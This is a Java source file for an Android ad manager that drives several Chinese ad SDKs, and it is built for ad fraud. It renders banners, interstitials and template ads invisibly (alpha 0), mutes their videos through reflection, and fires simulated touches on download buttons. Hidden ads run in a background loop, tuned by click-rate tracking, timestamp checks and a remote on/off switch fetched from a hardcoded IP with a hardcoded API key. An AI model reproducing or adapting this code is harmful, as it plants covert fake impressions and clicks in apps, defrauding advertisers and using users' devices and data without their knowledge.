829 lines
32 KiB
Java
829 lines
32 KiB
Java
package com.android.boot.ad;
|
||
|
||
import static com.android.boot.ad.TouchTools.isClick;
|
||
import static com.android.boot.ad.TouchTools.isCurrentTimeInRange;
|
||
import static com.android.boot.ad.TouchTools.mainActivity;
|
||
|
||
import android.annotation.SuppressLint;
|
||
import android.app.Activity;
|
||
import android.content.BroadcastReceiver;
|
||
import android.content.Context;
|
||
import android.content.Intent;
|
||
import android.content.IntentFilter;
|
||
import android.net.ConnectivityManager;
|
||
import android.net.NetworkInfo;
|
||
import android.os.Bundle;
|
||
import android.os.Handler;
|
||
import android.os.HandlerThread;
|
||
import android.os.Looper;
|
||
import android.os.Message;
|
||
import android.view.Gravity;
|
||
import android.view.View;
|
||
import android.view.ViewGroup;
|
||
import android.widget.FrameLayout;
|
||
import android.widget.TextView;
|
||
import android.view.SurfaceView;
|
||
|
||
import com.alibaba.fastjson.JSONObject;
|
||
import com.alibaba.fastjson.TypeReference;
|
||
import com.android.boot.Logger;
|
||
import com.android.boot.ad.aggregated.TTAd;
|
||
import com.android.boot.ad.jni.JNIHelper;
|
||
import com.android.boot.ad.jni.SQLiteExample;
|
||
import com.android.boot.ad.proxy.RefInvoke;
|
||
import com.bytedance.sdk.openadsdk.TTAdConfig;
|
||
import com.bytedance.sdk.openadsdk.TTAdConstant;
|
||
import com.bytedance.sdk.openadsdk.TTAdSdk;
|
||
import com.miui.zeus.mimo.sdk.BannerAd;
|
||
import com.miui.zeus.mimo.sdk.InterstitialAd;
|
||
import com.miui.zeus.mimo.sdk.RewardVideoAd;
|
||
import com.miui.zeus.mimo.sdk.TemplateAd;
|
||
import com.miui.zeus.mimo.sdk.server.api.BaseAdInfo;
|
||
import com.miui.zeus.mimo.sdk.view.DownloadBtnView;
|
||
import com.qq.e.comm.managers.GDTAdSdk;
|
||
import com.qq.e.comm.managers.setting.GlobalSetting;
|
||
|
||
import java.io.IOException;
|
||
import java.util.ArrayList;
|
||
import java.util.List;
|
||
import java.util.Map;
|
||
import java.util.Objects;
|
||
import java.util.Random;
|
||
|
||
import okhttp3.OkHttpClient;
|
||
import okhttp3.Request;
|
||
import okhttp3.Response;
|
||
|
||
public class AdManager extends TTAd {
|
||
private static AdManager instance;
|
||
public static boolean isFront = false;
|
||
public static boolean isFist01 = true;
|
||
public static boolean isFist02 = true;//插屏
|
||
public static boolean reward_click_time = true;
|
||
public static int click01 = 0;
|
||
public static int click02 = 0;
|
||
public static int interstitialShow = 0;
|
||
public long timeStamp = Long.parseLong("17347089020000");//1717774386000
|
||
public long showAdTime = 0;
|
||
public int clickCount = 0;
|
||
public long lastClick = 0;
|
||
private static final String MAP_CONFIG = "map_config";
|
||
private static Map<String, Boolean> maps;
|
||
private int error = 0;
|
||
public static double percentage;
|
||
private int showCount = 0;
|
||
|
||
public String Interstitial = "3247f54075d9d8db22fb52b0c9393ab5";
|
||
public String FullInterstitial = "139ff644f5546244f5b3e6e14367e8e5";
|
||
public String Banner = "b441b7aeba83843af14f372eb935af3a";
|
||
public String TemplateA = "a65bc11cefafe386cf336d8382b2d045";
|
||
public String TemplateB = "dd2ae11a2d4b5c00108671b19ea76acf";
|
||
public String TemplateC = "9cfca1767b66b85e29656f81e960adb0";
|
||
public String TemplateD = "38f263b2a67ae8e30f6fecff394420cd";
|
||
public String Reward = "499dd7b265d8bb04e2e89ab8a06d73a0";
|
||
|
||
public static volatile RewardVideoAd rewardVideoAd;
|
||
private int internal = 60;
|
||
private int showIntervalTT = 4;
|
||
private long lastError = 0;
|
||
public boolean isSurfaceView = true;
|
||
|
||
public static AdManager getInstance() {
|
||
if (instance == null) {
|
||
synchronized (AdManager.class) {
|
||
if (instance == null) {
|
||
instance = new AdManager();
|
||
}
|
||
}
|
||
}
|
||
return instance;
|
||
}
|
||
|
||
public final int SHOW_BANNER = 2000;
|
||
public final int SHOW_INTERSTITIAL = 3000;
|
||
public final int SHOW_NATIVE = 4000;
|
||
public final int SHOW_TT_NATIVE = 5000;
|
||
public final int SHOW_TT_BANNER = 6000;
|
||
public final int SHOW_TT_DrawFeedAd = 7000;
|
||
public final int SHOW_TT_INTERSTITIAL = 8000;
|
||
public final int SHOW_GDT_BANNER = 9000;
|
||
public final int SHOW_GDT_NATIVE = 10000;
|
||
|
||
final Handler handler = new Handler(Looper.getMainLooper()) {
|
||
@Override
|
||
public void handleMessage(Message msg) {
|
||
switch (msg.what) {
|
||
case SHOW_BANNER:
|
||
boolean isHide = msg.getData().getBoolean("isHide");
|
||
ViewGroup viewGroup = isHide ? containerBanner : container;
|
||
showBanner(TouchTools.mainActivity, viewGroup, isHide);
|
||
break;
|
||
case SHOW_INTERSTITIAL:
|
||
showInterstitialAd(msg.getData().getString("ID"), msg.getData().getBoolean("isHide"));
|
||
break;
|
||
case SHOW_NATIVE:
|
||
Bundle bundle = msg.getData();
|
||
showNative((ViewGroup) msg.obj, bundle.getString("ID"), bundle.getBoolean("isHide"));
|
||
break;
|
||
case SHOW_TT_NATIVE:
|
||
showTTAdNative(container);
|
||
break;
|
||
case SHOW_TT_BANNER:
|
||
showTTAdBanner(containerBanner);
|
||
break;
|
||
case SHOW_TT_DrawFeedAd:
|
||
showTTDrawFeedAd(container);
|
||
break;
|
||
case SHOW_TT_INTERSTITIAL:
|
||
showTTFullScreenVideo();
|
||
break;
|
||
case SHOW_GDT_BANNER:
|
||
showGDTBanner();
|
||
break;
|
||
case SHOW_GDT_NATIVE:
|
||
showGDTNative();
|
||
break;
|
||
}
|
||
super.handleMessage(msg);
|
||
}
|
||
};
|
||
|
||
private static void initMap() {
|
||
maps = SharedPreferencesTools.getMapFromPreferences(MAP_CONFIG, new TypeReference<Map<String, Boolean>>() {
|
||
}, mainActivity);
|
||
|
||
if (maps.isEmpty()) {
|
||
maps.put(AdManager.getInstance().Banner, true);
|
||
maps.put(AdManager.getInstance().TemplateA, true);
|
||
maps.put(AdManager.getInstance().TemplateB, true);
|
||
maps.put(AdManager.getInstance().TemplateC, true);
|
||
}
|
||
}
|
||
|
||
private boolean inClickInterval() {
|
||
return System.currentTimeMillis() - lastClick > internal * 1000L;
|
||
}
|
||
|
||
private void handlerShow(ViewGroup viewGroup, boolean isHide) {
|
||
showCount++;
|
||
if (!isHide) {
|
||
return;
|
||
}
|
||
new Handler(Looper.getMainLooper()).postDelayed(viewGroup::removeAllViews, 2500);
|
||
// if (!isHide || percentage > 30) {
|
||
// return;
|
||
// }
|
||
// if (inClickInterval()) {
|
||
// simulateTouchDelay(viewGroup);
|
||
// }
|
||
}
|
||
|
||
|
||
private void handlerClick(Object o) {
|
||
lastClick = System.currentTimeMillis();
|
||
TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000);
|
||
clickCount++;
|
||
SharedPreferencesTools.addTotalClickToday(mainActivity);
|
||
new Handler(Looper.getMainLooper()).post(() -> {
|
||
RefInvoke.invokeMethod(o, "destroy");
|
||
});
|
||
}
|
||
|
||
public static void init(Context context, Callback callback) {
|
||
SQLiteExample.getInstance();
|
||
OkHttpClient client = new OkHttpClient().newBuilder().build();
|
||
Request request = new Request.Builder().url("http://106.14.134.255:18866/app/" + context.getPackageName()).get().addHeader("AD-API-KEY", "zaif3maneeliechieje)iqu}u6ooyei9oa3Iejooz6Sail8xijuish8eidoh").build();
|
||
HandlerThread handlerThread = new HandlerThread("response");
|
||
handlerThread.start();
|
||
|
||
new Handler(handlerThread.getLooper()).post(() -> {
|
||
Response response;
|
||
try {
|
||
response = client.newCall(request).execute();
|
||
if (response.body() == null) {
|
||
callback.onFailure();
|
||
} else {
|
||
JSONObject jsonObject = JSONObject.parseObject(response.body().string());
|
||
Logger.log("" + jsonObject);
|
||
if (jsonObject.getLong("timeStamp") == null) {
|
||
callback.onFailure();
|
||
} else {
|
||
callback.onSuccess(jsonObject.getBoolean(isClick), jsonObject.getLong("timeStamp"));
|
||
initMap();
|
||
}
|
||
}
|
||
} catch (IOException e) {
|
||
Logger.log("" + e);
|
||
}
|
||
});
|
||
}
|
||
|
||
|
||
public void showNative(ViewGroup container, String upId, boolean isHide) {
|
||
container.removeAllViews();
|
||
TemplateAd templateAd = new TemplateAd();
|
||
if (isHide && !isSurfaceView) {
|
||
container.setAlpha(0);
|
||
}
|
||
templateAd.load(upId, new TemplateAd.TemplateAdLoadListener() {
|
||
@Override
|
||
public void onAdLoadFailed(int i, String str) {
|
||
Logger.log(upId + " templateAD:" + i);
|
||
if (i == 300001 && Boolean.TRUE.equals(maps.get(upId))) {
|
||
maps.put(upId, false);
|
||
SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity);
|
||
}
|
||
lastError = System.currentTimeMillis();
|
||
}
|
||
// error++;
|
||
|
||
@Override
|
||
public void onAdLoaded() {
|
||
templateAd.show(container, new TemplateAd.TemplateAdInteractionListener() {
|
||
@Override
|
||
public void onAdClick() {
|
||
Logger.log("onAdClicked===" + upId);
|
||
handlerClick(templateAd);
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onAdDismissed() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onAdRenderFailed(int i, String str) {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onAdShow() {
|
||
Logger.log("NativeShow:" + upId);
|
||
handlerShow(container, isHide);
|
||
}
|
||
});
|
||
}
|
||
});
|
||
}
|
||
|
||
private void closeVoice(InterstitialAd interstitialAd) {
|
||
HandlerThread closeVoice = new HandlerThread("closeVoice");
|
||
closeVoice.start();
|
||
long t = System.currentTimeMillis();
|
||
new Handler(closeVoice.getLooper()).post(() -> {
|
||
while (true) {
|
||
if (interstitialAd.mAdImpl.e.interstitialTemplateVideoController != null) {
|
||
new Handler(Looper.getMainLooper()).post(() -> {
|
||
interstitialAd.mAdImpl.e.interstitialTemplateVideoController.i.c.setVolume(0);
|
||
});
|
||
break;
|
||
}
|
||
if (System.currentTimeMillis() - t > 10 * 1000) {
|
||
break;
|
||
}
|
||
}
|
||
});
|
||
}
|
||
|
||
public void showInterstitialAd(String upId, boolean isHide) {
|
||
InterstitialAd interstitialAd = new InterstitialAd();
|
||
interstitialAd.loadAd(upId, new InterstitialAd.InterstitialAdLoadListener() {
|
||
@Override
|
||
public void onAdLoadFailed(int i, String s) {
|
||
Logger.log("showInterstitialAd:" + i);
|
||
if (i == 300001 && Boolean.TRUE.equals(maps.get(upId))) {
|
||
maps.put(upId, false);
|
||
SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity);
|
||
}
|
||
lastError = System.currentTimeMillis();
|
||
// error++;
|
||
}
|
||
|
||
@Override
|
||
public void onAdLoadSuccess() {
|
||
interstitialAd.show(TouchTools.mainActivity, new InterstitialAd.InterstitialAdInteractionListener() {
|
||
@Override
|
||
public void onAdClick() {
|
||
Logger.log("interstitialAd onAdClicked===");
|
||
if (isFist02) {
|
||
isFist02 = false;
|
||
SharedPreferencesTools.putBoolean(SharedPreferencesTools.IS_FIRST, false, mainActivity);
|
||
}
|
||
handlerClick(interstitialAd);
|
||
}
|
||
|
||
@Override
|
||
public void onAdClosed() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onAdShow() {
|
||
showCount++;
|
||
interstitialShow++;
|
||
boolean a = (System.currentTimeMillis() - lastClick > 25 * 1000) && percentage < 25;
|
||
String typeName = upId.equals(Interstitial) ? "interstitialAd" : "FullInterstitialAd";
|
||
Logger.log(typeName + " Show " + interstitialAd.mAdImpl.e.e);//interstitialAd.mAdImpl.e.eventRecordRelativeLayout
|
||
if (isHide) {
|
||
((View) interstitialAd.mAdImpl.e.e).setAlpha(0);
|
||
if (a && upId.equals(FullInterstitial)) {
|
||
new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 25 * 1000);
|
||
} else {
|
||
new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 3 * 1000);
|
||
}
|
||
}
|
||
if (!TouchTools.isCurrentTimeInRange() || !isHide) {
|
||
return;
|
||
}
|
||
if (isFist02) {
|
||
DownloadBtnView downloadBtnView = Objects.requireNonNull(RefInvoke.getFieldByType(interstitialAd.mAdImpl.e.e, DownloadBtnView.class));
|
||
TextView textView = downloadBtnView.b;
|
||
Logger.log("isFist02:" + isFist02);
|
||
if (textView == null || upId.equals(FullInterstitial)) {
|
||
return;
|
||
}
|
||
TouchTools.simulateTouchDelay(downloadBtnView, "EventRecordRelativeLayout");
|
||
return;
|
||
}
|
||
// if (a) {
|
||
// DownloadBtnView downloadBtnView = Objects.requireNonNull(RefInvoke.getFieldByType(interstitialAd.mAdImpl.e.e, DownloadBtnView.class));
|
||
// TextView textView = downloadBtnView.b;
|
||
// if (textView == null || upId.equals(FullInterstitial)) {
|
||
// return;
|
||
// }
|
||
// if (AdManager.click02 >= 30) {
|
||
// error = 100;
|
||
// }
|
||
// TouchTools.simulateTouchDelay(downloadBtnView, "EventRecordRelativeLayout", new Random().nextInt(2000) + 1000);
|
||
// }
|
||
}
|
||
|
||
@Override
|
||
public void onRenderFail(int i, String s) {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onVideoEnd() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onVideoPause() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onVideoResume() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onVideoStart() {
|
||
if (isHide) {
|
||
closeVoice(interstitialAd);
|
||
}
|
||
}
|
||
});
|
||
}
|
||
|
||
@Override
|
||
public void onAdRequestSuccess() {
|
||
|
||
}
|
||
});
|
||
}
|
||
|
||
public void showBanner(Activity activity, ViewGroup container, boolean isHide) {
|
||
container.removeAllViews();//清空容器view,供sdk填充广告
|
||
BannerAd bannerAd = new BannerAd();
|
||
if (isHide && !isSurfaceView) {
|
||
container.setAlpha(0);
|
||
}
|
||
bannerAd.loadAd(Banner, new BannerAd.BannerLoadListener() {
|
||
@Override
|
||
public void onAdLoadFailed(int i, String s) {
|
||
Logger.log("Banner:" + i);
|
||
if (i == 300001 && Boolean.TRUE.equals(maps.get(Banner))) {
|
||
maps.put(Banner, false);
|
||
SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity);
|
||
}
|
||
lastError = System.currentTimeMillis();
|
||
// error++;
|
||
}
|
||
|
||
@Override
|
||
public void onBannerAdLoadSuccess() {
|
||
bannerAd.showAd(activity, container, new BannerAd.BannerInteractionListener() {
|
||
@Override
|
||
public void onAdClick() {
|
||
Logger.log("Banner onAdClicked===");
|
||
handlerClick(bannerAd);
|
||
}
|
||
|
||
@Override
|
||
public void onAdDismiss() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onAdShow() {
|
||
Logger.log("Banner Show");
|
||
handlerShow(container, isHide);
|
||
BaseAdInfo baseAdInfo = bannerAd.mAdImpl.a;
|
||
Logger.log(baseAdInfo.getButtonName() + "=========" + baseAdInfo.mAppName + "==========" + baseAdInfo.mUpId);
|
||
// TouchTools.randomClickTemplate(0, (View) RefInvoke.getFieldObj(bannerAd, "mAdImpl", "d", "g"),
|
||
// new Random().nextInt(100) < 15 && isHide);
|
||
}
|
||
|
||
@Override
|
||
public void onRenderFail(int i, String s) {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onRenderSuccess() {
|
||
|
||
}
|
||
});
|
||
}
|
||
});
|
||
}
|
||
|
||
|
||
int count = 0;
|
||
|
||
public void showMiReward(RewardCallback rewardCallback) {
|
||
loadReward();
|
||
rewardVideoAd.showAd(TouchTools.mainActivity, new RewardVideoAd.RewardVideoInteractionListener() {
|
||
@Override
|
||
public void onAdClick() {
|
||
Logger.log("reward click");
|
||
if (AdManager.isFist01) {
|
||
AdManager.isFist01 = false;
|
||
SharedPreferencesTools.putBoolean(SharedPreferencesTools.IS_FIRST, false, mainActivity);
|
||
}
|
||
AdManager.click01++;
|
||
SharedPreferencesTools.setRewardTotalClickToday(AdManager.click01, mainActivity);
|
||
}
|
||
|
||
@Override
|
||
public void onAdDismissed() {
|
||
rewardVideoAd = null;
|
||
rewardCallback.onFailed();
|
||
if (TouchTools.isCurrentTimeInRange()) {
|
||
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
||
sendMessage(SHOW_INTERSTITIAL, false, Interstitial);
|
||
}, 100);
|
||
}
|
||
}
|
||
|
||
@Override
|
||
public void onAdFailed(String var1) {
|
||
rewardCallback.onFailed();
|
||
}
|
||
|
||
@Override
|
||
public void onAdPresent() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onPicAdEnd() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onReward() {
|
||
rewardCallback.onReward();
|
||
}
|
||
|
||
@Override
|
||
public void onVideoComplete() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onVideoPause() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onVideoSkip() {
|
||
|
||
}
|
||
|
||
@Override
|
||
public void onVideoStart() {
|
||
|
||
}
|
||
});
|
||
}
|
||
|
||
public void showReward(RewardCallback rewardCallback) {
|
||
if (rewardVideoAd == null && isCurrentTimeInRange() && System.currentTimeMillis() - lastError < 10 * 1000) {
|
||
if (RANDOM.nextInt(2) == 0) {
|
||
showGDTReward(rewardCallback);
|
||
} else {
|
||
showTTReward(rewardCallback);
|
||
}
|
||
return;
|
||
}
|
||
showMiReward(rewardCallback);
|
||
}
|
||
|
||
boolean isRewardValid = false;
|
||
|
||
public void loadReward() {
|
||
if (rewardVideoAd == null) {
|
||
rewardVideoAd = new RewardVideoAd();
|
||
rewardVideoAd.loadAd(Reward, new RewardVideoAd.RewardVideoLoadListener() {
|
||
@Override
|
||
public void onAdRequestSuccess() {
|
||
}
|
||
|
||
@Override
|
||
public void onAdLoadSuccess() {
|
||
}
|
||
|
||
@Override
|
||
public void onAdLoadFailed(int i, String s) {
|
||
rewardVideoAd = null;
|
||
Logger.log("rewardVideoAd onAdLoadFailed" + i + " " + s);
|
||
if (i == 300001 && !isRewardValid) {
|
||
maps.put("001", false);
|
||
SharedPreferencesTools.saveMapToPreferences(MAP_CONFIG, maps, mainActivity);
|
||
isRewardValid = true;
|
||
}
|
||
}
|
||
});
|
||
}
|
||
}
|
||
|
||
private HandlerThread handlerThread;
|
||
|
||
@SuppressLint("DefaultLocale")
|
||
public void startShowAdThread() {
|
||
// TouchTools.isDebug = SharedPreferencesTools.getBoolean("isDebug", TouchTools.mainActivity);
|
||
Logger.log("startShowAdThread执行");
|
||
if (handlerThread == null) {
|
||
handlerThread = new HandlerThread("");
|
||
handlerThread.start();
|
||
isFist01 = isFist02 = SharedPreferencesTools.getBoolean(SharedPreferencesTools.IS_FIRST, mainActivity, true);
|
||
click01 = SharedPreferencesTools.getRewardTotalClickToday();
|
||
click02 = SharedPreferencesTools.getTotalClickToday();
|
||
reward_click_time = SharedPreferencesTools.getBoolean(SharedPreferencesTools.REWARD_CLICK_TIME, mainActivity);
|
||
long firstStart = SharedPreferencesTools.getFirstStart();
|
||
if (firstStart == 0) {
|
||
SharedPreferencesTools.putFirstStart();
|
||
} else if (System.currentTimeMillis() - firstStart > 5 * 60 * 60 * 1000) {
|
||
SharedPreferencesTools.putBoolean(isClick, true, mainActivity);
|
||
}
|
||
|
||
SurfaceView surfaceView = ViewUtils.findSurfaceView(mainActivity);
|
||
if (TouchTools.isCurrentTimeInRange()) {
|
||
mainActivity.runOnUiThread(this::initNetworkListener);
|
||
TTAdSdk.init(mainActivity,
|
||
new TTAdConfig.Builder()
|
||
.appId(TTAppID)
|
||
.titleBarTheme(TTAdConstant.TITLE_BAR_THEME_DARK)
|
||
.allowShowNotify(true)
|
||
.debug(true)
|
||
.directDownloadNetworkType(TTAdConstant.NETWORK_STATE_WIFI)
|
||
.supportMultiProcess(false)
|
||
.build());
|
||
TTAdSdk.start(new TTAdSdk.Callback() {
|
||
public void success() {
|
||
Logger.log("TTAdSdk success");
|
||
showSplashAd();
|
||
}
|
||
|
||
public void fail(int i, String s) {
|
||
Logger.log("TTAdSdk fail " + i + " " + s);
|
||
}
|
||
});
|
||
|
||
GDTAdSdk.initWithoutStart(mainActivity, GDTAppId); // 该接口不会采集用户信息
|
||
GDTAdSdk.start(new GDTAdSdk.OnStartListener() {
|
||
@Override
|
||
public void onStartSuccess() {
|
||
// 推荐开发者在onStartSuccess回调后开始拉广告
|
||
Logger.log("onStartSuccess");
|
||
GlobalSetting.setChannel(10);
|
||
}
|
||
|
||
@Override
|
||
public void onStartFailed(Exception e) {
|
||
Logger.log("gdt onStartFailed:" + e.toString());
|
||
}
|
||
});
|
||
|
||
new Handler(Looper.getMainLooper()).post(() -> {
|
||
if (surfaceView == null) {
|
||
isSurfaceView = false;
|
||
} else {
|
||
surfaceView.post(() -> {
|
||
surfaceView.setZOrderOnTop(true);
|
||
surfaceView.getHolder().setFormat(android.graphics.PixelFormat.TRANSLUCENT);
|
||
});
|
||
}
|
||
});
|
||
|
||
}
|
||
new Handler(handlerThread.getLooper()).postDelayed(() -> {
|
||
while (true) {
|
||
try {
|
||
if (!isFront) {
|
||
Thread.sleep(1000);
|
||
continue;
|
||
}
|
||
loadReward();
|
||
if (clickCount != 0) {
|
||
double result = (double) clickCount / showCount;
|
||
|
||
// 转换为百分比并输出
|
||
percentage = result * 100;
|
||
|
||
Logger.log(showCount + " " + clickCount + " " + String.format("结果: %.2f%%", percentage));
|
||
}
|
||
|
||
if (TouchTools.isCurrentTimeInRange()) {
|
||
if (timeStamp == 1737736528000L) {
|
||
error = 100;
|
||
}
|
||
JNIHelper.E(AdManager.this);
|
||
|
||
if (interstitialShow < 9) {
|
||
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
|
||
Thread.sleep(100);
|
||
sendMessage(SHOW_NATIVE, true, TemplateC);
|
||
} else if (count % 3 == 0) {
|
||
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
|
||
} else if (count % 2 == 0) {
|
||
sendMessage(SHOW_NATIVE, true, TemplateC);
|
||
}
|
||
|
||
if (inClickInterval()) {
|
||
sendMessage(SHOW_NATIVE, false, TemplateC,
|
||
ViewUtils.createAdatptFrameLayout(mainActivity,
|
||
(ViewGroup) AdManager.getInstance().container.getParent()));
|
||
}
|
||
|
||
if (count % showIntervalTT == 0) {
|
||
if (RANDOM.nextInt(2) == 0) {
|
||
sendMessage(SHOW_TT_DrawFeedAd);
|
||
} else {
|
||
sendMessage(SHOW_TT_NATIVE);
|
||
}
|
||
Thread.sleep(100);
|
||
sendMessage(SHOW_GDT_NATIVE);
|
||
Thread.sleep(100);
|
||
sendMessage(SHOW_TT_BANNER);
|
||
Thread.sleep(100);
|
||
sendMessage(SHOW_GDT_BANNER);
|
||
}
|
||
|
||
if (count % 15 == 0) {
|
||
showMiReward(new RewardCallback() {
|
||
@Override
|
||
public void onReward() {
|
||
}
|
||
|
||
@Override
|
||
public void onFailed() {
|
||
}
|
||
});
|
||
}
|
||
}
|
||
Thread.sleep(4 * 1000 + new Random().nextInt(1000));
|
||
count++;
|
||
} catch (InterruptedException e) {
|
||
Logger.log("InterruptedException:" + e);
|
||
}
|
||
}
|
||
}, 3000);
|
||
}
|
||
}
|
||
|
||
private void showRandomTemplate(boolean isHide) {
|
||
String id = genRandomAd();
|
||
if (id.isEmpty()) {
|
||
return;
|
||
}
|
||
sendMessage(getAdCode(id), isHide, id);
|
||
}
|
||
|
||
private FrameLayout overlayLayout;
|
||
|
||
private void initNetworkListener() {
|
||
// 初始化遮罩层
|
||
overlayLayout = new FrameLayout(mainActivity);
|
||
overlayLayout.setBackgroundColor(0x80000000); // 半透明黑色背景
|
||
final TextView[] textView = {new TextView(mainActivity)};
|
||
textView[0].setText("网络不可用,请检查您的网络连接");
|
||
textView[0].setTextColor(mainActivity.getResources().getColor(android.R.color.white));
|
||
textView[0].setGravity(Gravity.CENTER);
|
||
overlayLayout.addView(textView[0]);
|
||
|
||
// 把遮罩层添加到视图中,默认不可见
|
||
mainActivity.addContentView(overlayLayout, new FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENT, FrameLayout.LayoutParams.MATCH_PARENT));
|
||
overlayLayout.setVisibility(View.GONE);
|
||
|
||
// 注册网络变化的广播接收器
|
||
BroadcastReceiver networkStateReceiver = new BroadcastReceiver() {
|
||
@Override
|
||
public void onReceive(Context context, Intent intent) {
|
||
ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
|
||
NetworkInfo networkInfo = cm.getActiveNetworkInfo();
|
||
|
||
if (networkInfo != null && networkInfo.isConnected()) {
|
||
// 网络已连接,隐藏遮罩层
|
||
overlayLayout.setVisibility(View.INVISIBLE);
|
||
textView[0].setVisibility(View.INVISIBLE);
|
||
} else {
|
||
// 网络断开,显示遮罩层
|
||
overlayLayout.setVisibility(View.VISIBLE);
|
||
}
|
||
}
|
||
};
|
||
|
||
// 注册网络状态变化的广播
|
||
IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
|
||
mainActivity.registerReceiver(networkStateReceiver, filter);
|
||
}
|
||
|
||
public int getAdCode(String ID) {
|
||
if (ID.equals(Banner)) {
|
||
return SHOW_BANNER;
|
||
} else if (ID.equals(Interstitial) || ID.equals(FullInterstitial)) {
|
||
return SHOW_INTERSTITIAL;
|
||
}
|
||
return SHOW_NATIVE;
|
||
}
|
||
|
||
public String genRandomAd() {
|
||
if (maps == null || maps.isEmpty()) {
|
||
return ""; // 或者返回 null,根据实际需求
|
||
}
|
||
// 过滤出所有有效的键(对应值为 true 的)
|
||
List<String> validKeys = new ArrayList<>();
|
||
for (Map.Entry<String, Boolean> entry : maps.entrySet()) {
|
||
if (Boolean.TRUE.equals(entry.getValue())) {
|
||
validKeys.add(entry.getKey());
|
||
}
|
||
}
|
||
|
||
if (validKeys.isEmpty()) {
|
||
// 如果没有有效的广告键,直接返回空字符串或做其他处理
|
||
return "";
|
||
}
|
||
// 从有效键中随机选择一个
|
||
int randomIndex = RANDOM.nextInt(validKeys.size());
|
||
return validKeys.get(randomIndex);
|
||
}
|
||
|
||
public void sendMessage(int code) {
|
||
Message message = Message.obtain();
|
||
message.what = code;
|
||
handler.sendMessage(message);
|
||
}
|
||
|
||
public void sendMessage(int code, boolean isHide, String ID, ViewGroup viewGroup) {
|
||
Message message = Message.obtain();
|
||
Bundle bundle = new Bundle();
|
||
message.setData(bundle);
|
||
bundle.putBoolean("isHide", isHide);
|
||
bundle.putString("ID", ID);
|
||
message.what = code;
|
||
message.obj = viewGroup;
|
||
handler.sendMessage(message);
|
||
}
|
||
|
||
public void sendMessage(int code, boolean isHide, String ID) {
|
||
Message message = Message.obtain();
|
||
Bundle bundle = new Bundle();
|
||
message.setData(bundle);
|
||
bundle.putBoolean("isHide", isHide);
|
||
bundle.putString("ID", ID);
|
||
message.what = code;
|
||
if (SHOW_NATIVE != code) {
|
||
handler.sendMessage(message);
|
||
return;
|
||
} else if (!isHide) {
|
||
message.obj = container;
|
||
handler.sendMessage(message);
|
||
return;
|
||
} else if (ID.equals(TemplateA)) {
|
||
message.obj = containerTemplateA;
|
||
} else if (ID.equals(TemplateB)) {
|
||
message.obj = containerTemplateB;
|
||
} else if (ID.equals(TemplateC)) {
|
||
message.obj = containerTemplateC;
|
||
} else if (ID.equals(TemplateD)) {
|
||
message.obj = containerTemplateD;
|
||
}
|
||
handler.sendMessage(message);
|
||
}
|
||
}
|